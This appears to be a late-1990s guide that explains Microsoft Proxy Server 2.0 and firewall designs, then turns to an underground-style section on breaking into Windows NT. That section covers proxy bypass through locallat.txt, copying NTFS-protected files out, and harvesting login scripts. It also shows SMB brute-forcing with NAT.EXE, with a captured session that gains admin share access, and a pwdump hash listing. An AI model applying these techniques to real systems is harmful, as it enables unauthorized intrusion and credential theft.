Proxy Server can also be used to enhance the performance of your network by using advanced caching techniques. The can be configured to save local copies of requested items from the Internet. The next time that item is requested, it can be retrieved from the cache without having to connect to the original source. This can save an enormous amount of time and network bandwidth.

Unlike Proxy Server 1.0, Proxy Server 2.0 includes packet filtering and many other features that we will be discussing.

Proxy Server provides it functionality by using three services:

• Web Proxy: The web proxy service supports HTTP, FTP, and Gopher for TCP/IP Clients.
• WinSock Proxy: The Winsock proxy supports Windows Sockets client applications. It provides support for clients running either TCP/IP or IPX/SPX. This allows for networks that may be running more of a Novell environment to still take advantage of Proxy Server.
• SOCKS Proxy: The SOCKS Proxy is a cross-platform service that allows for secure communication in a client/server capacity. This service supports SOCKS version 4.3a and allows users access to the Internet by means of Proxy Server. SOCKS extends the functionality provided by the WinSock service to non-Windows platforms such as Unix or Macintosh.

In conjunction with other products, Proxy Server can provide firewall level security to prevent access to your internal network.

• Single Contact Point: A Proxy Server will have two network interfaces. One of these network interfaces will be connected to the external (or "untrusted") network, the other interface will be connected to your internal (or "trusted") network. This will better secure your LAN from potential intruders.
• Protection of internal IP infrastructure: When IP forwarding is disabled on the Proxy Server, the only IP address that will be visible to the external environment will be the IP address of the Proxy Server. This helps in preventing intruders from finding other potential targets on your network.
• Packet Layer Filtering: Proxy Server adds dynamic packet filtering to its list of features. With this feature, you can block or enable reception of certain packet types. This enables you to have a tremendous amount of control over your network security.

• IIS and NT Integration: Proxy Server integrates with Windows NT and Internet Information Server tighter than any other package available on the market. Proxy Server actually uses the same administrative interface used by Internet Information Server.
• Bandwidth Utilization: Proxy Server allows all clients in your network to share the same link to the external network. In conjunction with Internet Information Server, you can set aside a certain portion of your bandwidth for use by your webserver services.
• Caching Mechanisms: Proxy Server supports both active and passive caching. These concepts will be explained in better detail further into the document.
• Support for Web Publishing: Proxy Server uses a process known as reverse proxy to provide security while simultaneously allowing your company to publish on the Internet. Using another method known as reverse hosting, you can also support virtual servers through Proxy.

Microsoft suggests the following minimum hardware requirements.

• Intel 486 or higher. RISC support is also available.
• 24 MB Ram for Intel chips 32 MB Ram for RISC.
• 10 MB Diskspace needed for installation. 100 MB + .5 MB per client for Cache space.
• 2 Network interfaces (Adapters, Dial-Up, etc)

Following is the suggested minimum software requirements.

• Windows NT server 4.0
• Internet Information Server 2.0
• Service Pack 3
• TCP/IP

It is highly recommended that it be installed on an NTFS partition. If a NTFS partition is not used, not only are you losing NTFS's advanced security features, but also the caching mechanisms of Proxy Server will not work.

It is also recommended that your two network interfaces be configured prior to installation. On interface configured to the external network, and one configured for the internal network. (Note: When configuring your TCP/IP settings, DO NOT configure a default gateway entry for your internal network interface.)

• Be sure that "Enable IP Forwarding" is not checked in your TCP/IP settings. This could seriously compromise your internal security.

This is probably one of the most common questions I am asked as a security professional. The LAT, or Local Address Table, is a series of IP address pairs that define your internal network. Each pair defines a range of IP addresses or a single pair.

That LAT is generated upon installation of Proxy Server. It defines the internal IP addresses. Proxy Server uses the Windows NT Routing Table to auto-generate the LAT. It is possible that the when the LAT is auto-generated, that errors in the LATs construction will be found. You should always manually comb through the LAT and check for errors. It is not uncommon to find external IP addresses in the LAT, or entire subnets of your internal IP addresses will not appear on the LAT. It is generally a good idea to have all of your internal IP addresses in the LAT.

• NO EXTERNAL IP ADDRESSES SHOULD APPEAR IN YOUR LAT.

Upon installing the Proxy Server client software, it adds a file named msplat.txt into the \Mspclnt directory. The msplat.txt file contains the LAT. This file is regularly updated from the server to ensure that the LAT the client is using is current.

Every time a client attempts to use a Winsock application to establish a connection, the LAT is referenced to determine if the IP address the client is attempting to reach is internal or external. If the IP address is internal, Proxy Server is bypassed and the connection is made directly. If the IP address the client is attempting to connect to DOES NOT appear in the LAT, it is determined that the IP address is remote and the connection is made through Proxy Server. By knowing this information, someone on your internal network could easily edit his or her LAT table to bypass Proxy Server.

Some Administrators may not see this as a problem because the LAT is regularly updated from the server, so any changes the user made to his or her LAT will be overwritten. However, if the user saves their LAT with the filename Locallat.txt, the client machine will reference both the msplat.txt and the locallat.txt to determine if an IP address is local or remote. So, by using the locallat.txt method, a user can, in theory, permanently bypass Proxy Server. The locallat.txt file is never overwritten unless the user does so manually.

Server side changes:

• The Web Proxy, Winsock Proxy, and SOCKS Proxy services are installed and management items are added into the Internet Service Manager.
• An HTML version of the documentation is added into the %systemroot%\help\proxy\ directory.
• A cache area is created on an NTFS volume.
• The LAT table is constructed.
• Proxy Server Performance Monitor counters are added.
• Client installation and config files are added to the Msp\Clients folder. This folder is shared as Mspclnt and by default has the permissions set to Read for Everyone.

Client side changes:

• The LAT (msplat.txt) file is copied to the clients local hard drive.
• A WSP Client icon is added to control panel on Win3.X, Win95 and WinNT clients.
• A Microsoft Proxy Client Program Group is added
• The winsock.dll file is replace with Remote WinSock for Proxy. The old winsock file is renamed winsock.dlx.
• Mspclnt.ini file is copied to the client machine.

To understand the architecture of Microsoft Proxy Server, you must first have a basic grasp of how Proxy works for outbound client requests. Here is a simple example:

Joe opens his browser to visit his favorite news site on the net. He types in the sites IP address which he has memorized because his visits often, instead of doing his job. The client compares the IP address Joe entered to the LAT table. Because the IP address is not found on the LAT, it is considered external. Since the client has determined that the IP address is external, it knows it must process the request through Proxy Server. The client hands Joe's request to Proxy Server. Proxy Server then checks the IP address against the access control applied by the Administrator. The Administrator has the ability to stop internal employees from visiting certain sites. Since Joe's request is not on the forbidden list applied by the Administrator, Proxy Server executes the request. Proxy contacts the website and requests the document Joe wanted. After Proxy server has received the information it requested, it stored a copy in its cache for later use and hands the request to the client machine. The website pops-up on Joe's browser.

This area will attempt to better define to the components of the architecture that we have used, but may not have defined.

The ISAPI Filter interface is one of the components of the web proxy service. The interface provides an extension that the Web server calls whenever it receives an HTTP request.

An ISAPI Filter is called for every request, regardless of the identity of the resource requested in the URL. An ISAPI filter can monitor, log, modify, redirect and authenticate all requests that are received by the Web server. The Web service can call an ISAPI filter DLL's entry point at various times in the processing of a request or response. The Proxy Server ISAPI filter is contained in the w3proxy.dll file. This filter examines each request to determine if the request is a standard HTTP request or not.

The ISAPI Application is the second of the two web proxy components. ISAPI applications can create dynamic HTML and integrate the web with other service applications like databases.

Unlike ISAPI Filters, an ISAPI Application is invoked for a request only if the request references that specific application. An ISAPI Application does not initiate a new process for every request. The ISAPI Application is also contained in the w3proxy.dll file.

Microsoft Proxy Server handles caching in two different ways, Passive and Active caching.

• Passive Caching: Passive caching is the basic mode of caching. Proxy Server interposes itself between a client and an internal or external Web site and then intercepts client requests. Before forwarding the request on to the Web server, Proxy Server checks to see if it can satisfy the request from its cache. Normally, in passive caching, Proxy Server places a copy of retrieved objects in the cache and associates a TTL (time-to-live) with that object. During this TTL, all requests for that object are satisfied from the cache. When the TTL is expired, the next client request for that object will prompt Proxy Server to retrieve a fresh copy from the web. If the disk space for the cache is too full to hold new data, Proxy Server removes older objects from the cache using a formula based on age, popularity, and size.
• Active Caching: Active Caching works with passive caching to optimize the client performance by increasing the likelihood that a popular will be available in cache, and up to date. Active caching changes the passive caching mechanism by having the Proxy Server automatically generate requests for a set of objects. The objects that are chosen are based on popularity, TTL, and Server Load.

Windows Sockets is the mechanism for communication between applications running on the same computer or those running on different computers which are connected to a LAN or WAN. Windows Sockets defines a set of standard API's that an application uses to communicate with one or more other applications, usually across a network. Windows Sockets supports initiating an outbound connection, accepting inbound connections, sending and receiving data on those connections, and terminating a session.

Windows socket is a port of the Berkeley Sockets API that existed on Unix, with extensions for integration into the Win16 and Win32 application environments. Windows Sockets also includes support for other transports such as IPX/SPX and NetBEUI.

Windows Sockets supports point-to-point connection-oriented communications and point-to-point or multipoint connectionless communications when using TCP/IP. Windows Socket communication channels are represented by data structures called sockets. A socket is identified by an address and a port, for example;

131.107.2.200:80

Proxy Server can be configured to provide or restrict access based on Service type. FTP, HTTP, Gopher, and Secure (SSL) are all individually configurable.

Proxy allows an administrator to control access based on IP Address, Subnet or Domain. This is done by enabling filtering and specifying the appropriate parameters. When configuring this security, you need to decide if you want to grant or deny access to an IP address, subnet, or domain. By configuring Proxy Server correctly, you can also set it up to use the internet as your corporate WAN.

If you are using the WinSock Proxy service, you can control access to the internet by specifying which port is used by TCP and UDP. You can also grant or deny, activate or disable certain ports based on your needs.

Proxy Server can control access of external packets into the internal network by enabling packet filtering on the external interface. Packet filtering intercepts and evaluates packets from the Internet before they reach the proxy server. You can configure packet filtering to accept or deny specific packet types, datagrams, or packet fragments that can pass through Proxy Server. In addition, you can block packets originating from a specific Internet host.

The packet filtering provided by Proxy Server is available in two forms, Dynamic and Static.

Dynamic packet filtering allows for designed ports to automatically open for transmission, receive, or both. Ports are then closed immediately after connection has been terminated, thereby minimizing the number of open ports and the duration of time that a port is open.

Static packet filtering allows manual configuration of which packets are and are not allowed.

By default, the following Packet settings are enabled on Proxy Server (by default, ALL packet types are blocked except the ones listed below, known as Exceptions):

Inbound ICMP ECHO (Ping)

Inbound ICMP RESPONSE (Ping)

Inbound ICMP SOURCE QUENCH

Inbound ICMP TIMEOUT

Inbound ICMP UNREACHABLE

Outbound ICMP ANY

Inbound TCP HTTP

In/Outbound UDP ANY (dns)

Events that could affect your system may be monitored, and, if they occur, alerts can be generated. The items listed below are events that will generate alerts:

Rejected Packets: Watches external adapter for dropped IP packets.

Protocol Violations: Watches for packets that do not follow the allowed protocol structure.

Disk Full: Watches for failures caused by a full disk.

When any of the events above occur, an alert is sent to the system log in the NT Event Viewer, or can be configured to e-mail a pre-defined person.

When the system logs information concerning Access Control, it does so to a log file stored in the %systemroot%/system32/msplogs/ directory. The log file itself is named Pfyymmdd.log (Where yy=Current year / mm= Current Month / dd= Current day).

The Packet log records information related to the following areas:

Service Information (Time of Service, Date and Time)

Remote Information (The Source IP Address of a possible Intruder, along with port and protocol used)

Local Information (Destination IP Address and port)

Filter Information (Action taken and what interface (network adapter) issued the action)

Packet Information (Raw IP Header in Hex and Raw IP Packet in Hex)

Proxy Server can take full advantage of the authentication and security features of Internet Information Server and SSL tunneling.

SSL supports data encryption and server authentication. All data sent to and from the client using SSL is encrypted. If HTTP basic authentication is used in conjunction with SSL, the user name and password are transmitted after the client's SSL support encrypts them.

If your are wanting to take advantage of PPTP to provide additional flexibility and security for your clients, you can configure Proxy Server to allow these packets (GRE) to pass through.

Proxy Server can take full advantage of Windows NT Remote Access Service (RAS). Proxy can be configured to dial on demand when an internal client makes a request that must be satisfied from the external network. The RAS feature can be configured to only allow connectivity during certain hours. The Dial-Up Network Scripting tool can aslo be used to automate certain process using Proxy Server and RAS. For company's who have a standard constant connection (ISDN, T1, T3) to the Internet, the RAS ability provided by Proxy Server can be used as a back-up should your constant connection fail.

Microsoft Proxy Server was developed with support for Internet Packet Exchange/Sequenced Packet Exchange or IPX/SPX. IPX/SPX is a transport protocol group somewhat similar to TCP/IP.

There are many situations when a client computer may have both IPX/SPX and TCP/IP protocols installed although the company's internal network may only use IPX/SPX. Simply disabling aTCP/IP while on the LAN will not get the IPX/SPX component of the Proxy client software working. You will need to go into Control Panel, open the Wsp Client icon and check the box that reads "Force IPX/SPX protocol". This must be done because even though the TCP/IP protocol was disabled, the WinSock Proxy Client still detects its presence and will attempt to create a standard IP socket. By enabling the "Force IPX/SPX Protocol" option, this problem should disappear.

A firewall is a system that enforces access control policies. The enforcement is done between an internal, or "trusted" network and an external, or "untrusted" network. The firewall can be as advanced as your standards require. Firewalls are commonly used to shield internal networks from unauthorized access via the Internet or other external network.

The single basic function of a firewall is to block unauthorized traffic between a trusted system and an untrusted system. This process is normally referred to as Filtering. Filtering can be viewed as either permitting or denying traffic access to a network.

Firewalls know what traffic to block because they are configured with the proper information. This information is known as an Access Control Policy. The proper approach to an access control policy will depend on the goals of the network security policy and the network administrator.

In the origins of firewalls, there were two types. These two types have now grown and overlapped each other to the point where distinction is hard. We will explore the differences between these two types and discuss Firewall building topologies.

Network level firewalls operate at the IP packet level. Most of these have a network interface to the trusted network and an interface to the untrusted network. They filter by examining and comparing packets to their access control policies or ACL's.

Network level firewalls filter traffic based on any combination of Source and Destination IP, TCP Port assignment and Packet Type. Network Level firewalls are normally specialized IP routers. They are fast and efficient and are transparent to network operations. Todays network level firewalls have become more and more complex. They can hold internal information about the packets passing through them, including the contents of some of the data. We will be discussing the following types of network level firewalls:

• Bastion Host
• Screened Host
• Screened Subnet

Bastion host are probably one of the most common types of firewalls. The term bastion refers to the old castle structures used in Europe, mainly for draw bridges.

The Bastion host is a computer with at east one interface to the trusted network and one to the untrusted network. When access is granted to a host from the untrusted network by the bastion host, all traffic from that host is allowed to pass unbothered.

In a physical layout, bastion hosts normally stand directly between the inside and outside networks, with no other intervention. They are normally used as part of a larger more sophisticated firewall.

The disadvantages to a bastion host are:

• After an Intruder has gained access, he has direct access to the entire network.
• Protection is not advanced enough for most network applications.

A more sophisticated network level firewall is the screened host firewall. This firewall uses a router with at least on connection to trusted network and one connection to a bastion host. The router serves as a preliminary screen for the bastion host. The screening router sends all IP traffic to the bastion host after it filters the packets. The router is set up with filter rules. These rules dictate which IP addresses are allowed to connect, and which ones are denied access. All other packet scrutiny is done by the bastion host. The router decreases the amount of traffic sent to the bastion host and simplifies the bastions filtering algorithms.

The physical layout of a Screened Host is a router with one connection to the outside network, and the other connection with a bastion host. The bastion host has one connection with the router and one connection with the inside network.

Disadvantages to the Screened Host are:

• The single screen host can become a traffic bottleneck
• If the host system goes down, the entire gateway is down.

A screened subnet uses on or more addition routers and on more additional bastion hosts. In a screened subnet, access to and from the inside network is secured by using a group of screened bastion host computers. Each of the bastion hosts acts as a drawbridge to the network.

The physical layout of a Screened subnet is somewhat more difficult, but the result is a more secure, robust environment. Normally, there is a router with one connection to the outside network and the other connection to a bastion host. The bastion host has one connection to the outer most router and one connection to another bastion host, with an addressable network in the middle. The inner most bastion host has one connection to the outer most bastion and another connection to an inside router. The inside router has one connection to the inner bastion host and the other connection to the inside network. The result of this configuration is the security components are normally never bogged down with traffic and all internal IP addresses are hidden from the outside, preventing someone from "mapping" your internal network.

Disadvantages to using this type of firewall are:

• The can be two or three times more expensive than other types of firewalls
• Implementation must be done by some type of security professional, as these types of firewalls are not for the un-initiated.

Application level firewalls are hosts running proxy server software located between the protected network and the outside network. Keep in mind that even though Microsofts product is called Proxy Server 2.0, it is actually a stand alone Bastion Host type of system. Microsoft Proxy Server can also, single-handedly, disguise your internal network to prevent mapping. Microsoft Proxy Server 1.0 did not have many of the advanced features presented in version 2.0. The 1.0 version can definitely be called a true proxy server, while the 2.0 version is more of a firewall.

Viewed from the client side, a proxy server is an application that services network resource requests by pretending to be the target source. Viewed from the network resource side, the proxy server is accessing network resources by pretending to be the client. Application level firewalls also do not allow traffic to pass directly between to the two networks. They are also able to use elaborate logging and auditing features. They tend to provide more detailed audit reports, but generally, as stand alone security unites, do not perform that well. Remember that an Application level firewall is software running on a machine, and if that machine can be attacked effective and crashed, in effect, youre crashing the firewall.

You may wish to use an application level firewall in conjunction with network level firewalls, as they provide the best all around security.

Lets jump right in. For those of you who are not riggers (architecture/network media specialists) let me begin by saying that NT as an operating system is fairly safe and secure. Now you may think to yourself that it isn’t, but think about all the Unix related security holes you know of, a ton huh? Anyhow, as with any operating system, NT has holes, lets see what we can learn about these holes, shall we?

First things first, NT does not support alot of the normal TCP/IP functions that youre used to. NT does not normally support NFS, SunRPC, NIS, r* commands, Telnet, and some other obscure ones.

In order for NT to allow for various system services to be performed on a remote computer, it uses RPC, remote procedure calls. Please do not confuse this with SunRPC. You can run NT/RPC's over a NetBIOS/SMB session or you can piggie back it directly off of TCP/IP (or other transport protocol, perhaps NWLink IPX/SPX). Unfortunately we dont have any good documentation on what inherent services NT provides through native RPC. Complex server type programs (Like Exchange) provide their own RPC services in addition to the ones NT provides as an operating system --(TCP Port 135 is used as a port-mapper port, we also know that if too much information is fed through port 135, you can crash an NT box.). Some client software must access TCP port 135 before accessing the RPC service itself (hint, hint). Keep in mind that TCP port 135 can be blocked. Bummer, eh?

One problem among the Hacker community is that most hackers dont like to investigate new avenues, or explore new methods. They will take the easy way out, using a method thats already been documented by someone else. So what if they come across a system that has patched that security problem? Will todays hacker try to find a new way in? Nope... most of the slackers I know will give up. It is for this reason that alot of the members in the community have never heard of SMBs, because its a session level protocol that is not a Unix standard (although there is something somewhat like SMBs for Unix, known as Samba). SMBs are used by Windows 3.X, Win95, WintNT and OS/2. The one thing to remember about SMBs is that it allows for remote access to shared directories, the registry, and other system services. Which makes it important in our line of, uuuhh, work. As stated above, unfortunately, there is no good documentation of the services that use SMBs.

Now, a couple of Key Points:

SMBs are used by:

-Win 3.X

-Win 95

-Win NT

-OS/2

SMBs allow for remote access to:

-Shared directories

-The Registry

-Other system services

You will find that by default all accounts in NT have complete SMB functionality. This includes the Guest account. (In WinNT 3.51, the guest is auto created and active, in WinNT 4.0, the guest account is auto created but is not active) Now, 2 things to remember: When it comes to login attempt failures, the administrator account IS NEVER locked out after a certain number of login attempts (this rule ALWAYS applies), also by default, when windows NT is installed, NONE of the accounts have fail login attempt lock out. Also, in order for SMB to work, UDP/TCP ports 137,138,139 (NetBIOS over TCP) must be open.

---A word about Remote registry alteration: By default the Everyone group in NT has write access to much of the registry. In NT 3.51, this was a major issue due to the remote registry access feature of RegEdit. Any user could manipulate the registry on any server or workstation on which his account (or the guest account) was enabled. WindowsNT fixed the problem with this registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipesServers\winreg

Now, true, remote registry editing is not allowed in NT4, but this rule does not apply to Administrator (or perhaps other users in the Administrators group.. ::grin::).

Ok, so far we've covered some pretty good information, but lets go into that new product that microsoft loves so much. The product they really hyped.. NTFS (NewTechnologiesFileSystem). First of all, NTFS is a rip off of the OS/2 file system, HPFS. No biggie, lets not get picky. Anyhow, NTFS is actually a beautiful thing, if used properly. NTFS allows administrator to not only put access permissions on folders, but it also allows for access permissions on individual files within that folder.

Example: Jane and Ralph both have access to the folder 'Shoes'. Theres only one file within the 'shoes' folder. Only jane has access to this one file, Ralph does not. So when Ralph opens the 'shoe' folder, it appears empty, but when Jane opens the 'shoe' folder, the file is there.

Now, If an administrator does not set permissions on files within a folder but you know the exact path to the file, you can copy the file out of the folder onto a FAT (File Allocation Table) system, successfully bypassing the security. Example:

The folder 'Shoes' has permissions on it. You do not have access permission to the folder, BUT if you typed:

copy c:\shoes\secure.txt a:\

It would allow you to copy the file. Pretty neat huh?

I have heard that the latest NT4 patches have corrected this problem, I will let ya know when I get a chance to test it out.

File Sharing, I love those words. SMB file and print server protocols used by NT are harder to spoof than the NFS implementation on Unix systems. It is possible that a gateway (and I dont mean the brand name company) machine could spoof an SMB session, then read and write any files to which the true user of the session had access. -WARNING- This method is not for the beginner.

Now, windows allows for this wonderful thing called User Profiles. This allows for users to have login scripts, personalized desktops, etc etc. Now some very personal information can be contained within these profiles. For example, some users put the userid and password that they use for Microsoft Mail onto their logon script, this way when they log into the machine, it auto logs them into their mailbox. User profiles are stored in the %SYSTEMROOT%\SYSTEM32\CONFIG directory and also on a shared directory on the server.

Lets discuss our little friend, the special share. NT shares the %SYSTEMROOT%\SYSTEM32\REPL\IMPORT\SCRIPTS directory, this way, users can read their login scripts during login. Under normal default conditions, ANYONE can access this share and read anyone elses login script. So whatever juicy pieces of information are in the login script are now yours. Some other special shares are created depending on other software installed on NT or other servers that NT has to cooperate with. These other shares will probably be discussed in another BlackPaper.

Getting lucky with that special account. There is a certain type of NT account that has the ability to BackUp and Restore database and account information. Accounts of this type have the ability to read, modify and write any file in the system. So, if ya cant get the Admin account, who knows... maybe theres a backup operator account. Ya never know.

This NetBIOS attack technique was verified on Windows 95, NT 4.0 Workstation, NT 4.0 Server, NT 5.0 beta 1 Workstation, NT 5.0 beta 1 Server, Windows 98 beta 2.1. One of the components being used is NAT.EXE by Andrew Tridgell. A discussion of the tool, it switches, and common techniques follows:

NAT.EXE [-o filename] [-u userlist] [-p passlist] <address>

Switches:

-o Specify the output file. All results from the scan

will be written to the specified file, in addition

to standard output.

-u Specify the file to read usernames from. Usernames

will be read from the specified file when attempt-

ing to guess the password on the remote server.

Usernames should appear one per line in the speci-

fied file.

-p Specify the file to read passwords from. Passwords

will be read from the specified file when attempt-

ing to guess the password on the remote server.

Passwords should appear one per line in the speci-

fied file.

<address>

Addresses should be specified in comma deliminated

format, with no spaces. Valid address specifica-

tions include:

hostname - "hostname" is added

127.0.0.1-127.0.0.3, adds addresses 127.0.0.1

through 127.0.0.3

127.0.0.1-3, adds addresses 127.0.0.1 through

127.0.0.3

127.0.0.1-3,7,10-20, adds addresses 127.0.0.1

through 127.0.0.3, 127.0.0.7, 127.0.0.10 through

127.0.0.20.

hostname,127.0.0.1-3, adds "hostname" and 127.0.0.1

through 127.0.0.1

All combinations of hostnames and address ranges as

specified above are valid.

First we look at the NBTSTAT command. This command was discussed in earlier portions of the book ( [5.0.6] The Nbtstat Command ). In this section, you will see a demonstration of how this tool is used and how it compares to other Microsoft tools and non Microsoft tools.

What follows is pretty much a step by step guide to using NBTSTAT as well as extra information. Again, if youre interested in more NBSTAT switches and functions, view the [5.0.6] The Nbtstat Command portion of the book.

C:\nbtstat -A XXX.XX.XXX.XX

NetBIOS Remote Machine Name Table

Name Type Status

---------------------------------------------

STUDENT1 <20> UNIQUE Registered

STUDENT1 <00> UNIQUE Registered

DOMAIN1 <00> GROUP Registered

DOMAIN1 <1C> GROUP Registered

DOMAIN1 <1B> UNIQUE Registered

STUDENT1 <03> UNIQUE Registered

DOMAIN1 <1E> GROUP Registered

DOMAIN1 <1D> UNIQUE Registered

..__MSBROWSE__.<01> GROUP Registered

MAC Address = 00-C0-4F-C4-8C-9D

Here is a partial NetBIOS 16th bit listing:

Computername <00> UNIQUE workstation service name

<00> GROUP domain name

Server <20> UNIQUE Server Service name

Computername <03> UNIQUE Registered by the messenger service. This is the computername

to be added to the LMHOSTS file which is not necessary to use

NAT.EXE but is necessary if you would like to view the remote

computer in Network Neighborhood.

Username <03> Registered by the messenger service.

Domainname <1B> Registers the local computer as the master browser for the domain

Domainname <1C> Registers the computer as a domain controller for the domain

(PDC or BDC)

Domainname <1D> Registers the local client as the local segments master browser

for the domain

Domainname <1E> Registers as a Group NetBIOS Name

<BF> Network Monitor Name

<BE> Network Monitor Agent

<06> RAS Server

<1F> Net DDE

<21> RAS Client

The NET command is a command that admins can execute through a dos window to show information about servers, networks, shares, and connections. It also has a number of command options that you can use to add user accounts and groups, change domain settings, and configure shares. In this section, you will learn about these NET commands, and you will also have the outline to a NET command Batch file that can be used as a primitive network security analysis tool. Before we continue on with the techniques, a discussion of the available options will come first:

[8.0.4] Net Accounts: This command shows current settings for password, logon limitations, and domain information. It also contains options for updating the User accounts database and modifying password and logon requirements.

[8.0.5] Net Computer: This adds or deletes computers from a domains database.

[8.0.6] Net Config Server or Net Config Workstation: Displays config info about the server service. When used without specifying Server or Workstation, the command displays a list of configurable services.

[8.0.7] Net Continue: Reactivates an NT service that was suspended by a NET PAUSE command.

[8.0.8] Net File: This command lists the open files on a server and has options for closing shared files and removing file locks.

[8.0.9] Net Group: This displays information about group names and has options you can use to add or modify global groups on servers.

[8.1.0] Net Help: Help with these commands

[8.1.1] Net Helpmsg message#: Get help with a particular net error or function message.

[8.1.2] Net Localgroup: Use this to list local groups on servers. You can also modify those groups.

[8.1.3] Net Name: This command shows the names of computers and users to which messages are sent on the computer.

[8.1.4] Net Pause: Use this command to suspend a certain NT service.

[8.1.5] Net Print: Displays print jobs and shared queues.

[8.1.6] Net Send: Use this command to send messages to other users, computers, or messaging names on the network.

[8.1.7] Net Session: Shows information about current sessions. Also has commands for disconnecting certain sessions.

[8.1.8] Net Share: Use this command to list information about all resources being shared on a computer. This command is also used to create network shares.

[8.1.9] Net Statistics Server or Workstation: Shows the statistics log.

[8.2.0] Net Stop: Stops NT services, cancelling any connections the service is using. Let it be known that stopping one service, may stop other services.

[8.2.1] Net Time: This command is used to display or set the time for a computer or domain.

[8.2.2] Net Use: This displays a list of connected computers and has options for connecting to and disconnecting from shared resources.

[8.2.3] Net User: This command will display a list of user accounts for the computer, and has options for creating a modifying those accounts.

[8.2.4] Net View: This command displays a list of resources being shared on a computer. Including netware servers.

[8.2.5] Special note on DOS and older Windows Machines: The commands listed above are available to Windows NT Servers and Workstation, DOS and older Windows clients have these NET commands available:

Net Config

Net Diag (runs the diagnostic program)

Net Help

Net Init (loads protocol and network adapter drivers.)

Net Logoff

Net Logon

Net Password (changes password)

Net Print

Net Start

Net Stop

Net Time

Net Use

Net Ver (displays the type and version of the network redirector)

Net View

For this section, the command being used is the NET VIEW and NET USE commands.

C:\net view XXX.XX.XXX.XX

Shared resources at XXX.XX.XXX.XX

Share name Type Used as Comment

------------------------------------------------------------------------------

NETLOGON Disk Logon server share

Test Disk

The command completed successfully.

NOTE: The C$ ADMIN$ and IPC$ are hidden and are not shown.

C:\net use /?

The syntax of this command is:

NET USE [devicename | *] [\\computername\sharename[\volume] [password | *]]

[/USER:[domainname\]username]

[[/DELETE] | [/PERSISTENT:{YES | NO}]]

NET USE [devicename | *] [password | *]] [/HOME]

NET USE [/PERSISTENT:{YES | NO}]

C:\net use x: \\XXX.XX.XXX.XX\test

The command completed successfully.

C:\unzipped\nat10bin>net use

New connections will be remembered.

Status Local Remote Network

-------------------------------------------------------------------------------

OK X: \\XXX.XX.XXX.XX\test Microsoft Windows Network

OK \\XXX.XX.XXX.XX\test Microsoft Windows Network

The command completed successfully.

Here is an actual example of how the NAT.EXE program is used. The information listed here is an actual capture of the activity. The IP addresses have been changed to protect, well, us.

C:\nat -o output.txt -u userlist.txt -p passlist.txt XXX.XX.XX.XX-YYY.YY.YYY.YY

[*]--- Reading usernames from userlist.txt

[*]--- Reading passwords from passlist.txt

[*]--- Checking host: XXX.XX.XXX.XX

[*]--- Obtaining list of remote NetBIOS names

[*]--- Attempting to connect with name: *

[*]--- Unable to connect

[*]--- Attempting to connect with name: *SMBSERVER

[*]--- CONNECTED with name: *SMBSERVER

[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03

[*]--- Server time is Mon Dec 01 07:44:34 1997

[*]--- Timezone is UTC-6.0

[*]--- Remote server wants us to encrypt, telling it not to

[*]--- Attempting to connect with name: *SMBSERVER

[*]--- CONNECTED with name: *SMBSERVER

[*]--- Attempting to establish session

[*]--- Was not able to establish session with no password

[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'

[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'

[*]--- Obtained server information:

Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]

[*]--- Obtained listing of shares:

Sharename Type Comment

--------- ---- -------

ADMIN$ Disk: Remote Admin

C$ Disk: Default share

IPC$ IPC: Remote IPC

NETLOGON Disk: Logon server share

Test Disk:

[*]--- This machine has a browse list:

Server Comment

--------- -------

STUDENT1

[*]--- Attempting to access share: \\*SMBSERVER\

[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$

[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$

[*]--- Checking write access in: \\*SMBSERVER\ADMIN$

[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

[*]--- Attempting to access share: \\*SMBSERVER\C$

[*]--- WARNING: Able to access share: \\*SMBSERVER\C$

[*]--- Checking write access in: \\*SMBSERVER\C$

[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON

[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON

[*]--- Checking write access in: \\*SMBSERVER\NETLOGON

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

[*]--- Attempting to access share: \\*SMBSERVER\Test

[*]--- WARNING: Able to access share: \\*SMBSERVER\Test

[*]--- Checking write access in: \\*SMBSERVER\Test

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test

[*]--- Attempting to access share: \\*SMBSERVER\D$

[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ROOT

[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\WINNT$

[*]--- Unable to access

If the default share of Everyone/Full Control is active, then you are done, the server is hacked. If not, keep playing. You will be surprised what you find out.

Ofcourse, everyone should know what Microsoft Frontpage is. The server extensions are installed server side to provide added functionality for frontpage web authors. These extensions function as "web bots" if you will, giving web authors that use frontpage easy access to complex web and HTML functions. Soon after the extensions came into wide use, security concerns began to pop-up. Most of these security concerns were very basic, the collection presented below are PROVEN methods that have been tested repeatedly in several types of configurations.

This is the pwdump from the webserver the Lan Manager password is set to "password". This PWDUMP example is for those of you that have heard about the utility but may have never actually seen the output of one. This dump was used by Vacuum of rhino9 during his journey into cracking the NT encryption algorithm.

Administrator:500:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C:Built-in account for administering the computer/domain::

Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:Built-in account for guest access to the computer/domain::

STUDENT7$:1000:E318576ED428A1DEF4B21403EFDE40D0:1394CDD8783E60378EFEE40503127253:::

ketan:1005:********************************:********************************:::

mari:1006:********************************:********************************:::

meng:1007:********************************:********************************:::

IUSR_STUDENT7:1014:582E6943331763A63BEC2B852B24C4D5:CBE9D641E74390AD9C1D0A962CE8C24B:Internet Guest Account,Internet Server Anonymous Access::

The hacces.ctl file is sometimes called a shadow password file, well, this is not exactly correct. The file can give you a lot of information, including the location of the service password file. A complete example of the haccess.ctl file is given below:

The #haccess.ctl file:

# -FrontPage-

Options None

<Limit GET POST PUT>

order deny,allow

deny from all

</Limit>

AuthName default_realm

